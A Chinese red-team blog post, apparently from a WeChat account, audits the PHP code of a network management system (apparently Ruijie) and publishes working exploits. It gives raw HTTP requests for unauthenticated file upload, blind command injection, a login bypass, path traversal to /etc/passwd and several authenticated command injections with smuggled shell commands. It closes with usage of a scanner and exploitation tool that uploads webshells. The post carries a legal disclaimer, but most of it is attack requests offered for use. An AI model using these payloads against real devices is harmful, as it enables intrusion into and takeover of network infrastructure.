本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
首先查看其中一个模块的映射配置
总体鉴权
mvc/controller/core.controller.php
值都是从session中获取
引入该鉴权文件基本都是
因此只需要看php头部是否引入该文件就知道有没有未授权
- 前台文件上传
漏洞文件ddi/server/fileupload.php
首先是没有引入鉴权文件,因此此路由存在未授权
文件命名
需要传入uploadDir以及name
uploadDir是文件落地位置,当目录不存在时自动创建目录
name是落地的文件名,可以通过两种方式定义,第一种是直接GET发包,比如?name=1234.php或者?filename=1234.php,那么最后落地的文件就是1234.php,需要注意的是当发包的参数是filename时,由于代码中的顺序是在GET的name参数和POST文件上传包之后的另一个条件语句,所以就算前面通过前两者已经定义过文件名了,也会重新赋值文件名
第二种是通过POST文件上传包,其中$_FILES["file"]["name"]即文件上传包中的filename
最后文件上传包
对应web路径访问
http://x.x.x.x/321/123.php
- 无回显命令执行
漏洞文件guest_auth/guestIsUp.php
命令直接拼接,只需POST传ip即所要执行的命令(首选需要截断之前的命令)然后mac不为空,即可命令执行
- 登录绕过+后台RCE
POST /ddi/server/login.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
username=admin&password=admin?show+version
拿到cookie
带cookie访问/ddi/server/newcli.php或者newcli.php,已经是登陆状态
删掉cookie,会跳转回loginout.php
然后就可以直接使用后台洞RCE
比如漏洞文件rac_pi/rac.php
看了下代码,经典的==和===的问题
旧代码,使用==做判断,判断值是否相等,忽略数据类型
新代码,使用了===做判断,值和数据类型是否都相等
- 后台任意文件读取
漏洞文件download.php
/download.php?a=read_txt&file=../../../../etc/passwd
- 后台命令执行一
漏洞文件cli.php
POST /cli.php?a=shell HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 24
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=nk5erth9i0pvcco3n7fbpa9bi0;user=admin;
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
notdelay=true&command=id
- 后台命令执行二
漏洞文件itbox_pi/branch_passw.php
POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
pass=|cat /etc/psswd>../test_test.txt
- 后台命令执行三
漏洞文件rac_pi/rac.php
可以直接读文件,或者截断命令执行
POST /rac_pi/rac.php?a=getPlatList HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
path=
命令行获取密码
本地命令行获取WEB管理端密码cls-webuser-list
- Help
- 漏洞检测
判断前台漏洞文件是否存在
- ddi/server/fileupload.php;
- guest_auth/guestIsUp.php;
- ddi/server/login.php;
- 单URL检测
ruijie-check check -u http://127.0.0.1
- 批量检测
指定-f批量扫描, 结果会自动保存到output.txt
- 漏洞利用
- 文件上传
需要同目录下放需要上传的webshell文件 比如shell.php
ruijie-check attack -u http://127.0.0.1 -m fileupload -f shell.php
或者
ruijie-check attack -u http://127.0.0.1 -m rce -f shell.php
- 登录绕过
ruijie-check attack -u http://127.0.0.1 -m webmaster
原文始发于微信公众号(Lambda小队):某捷网管系统代码审计-附工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论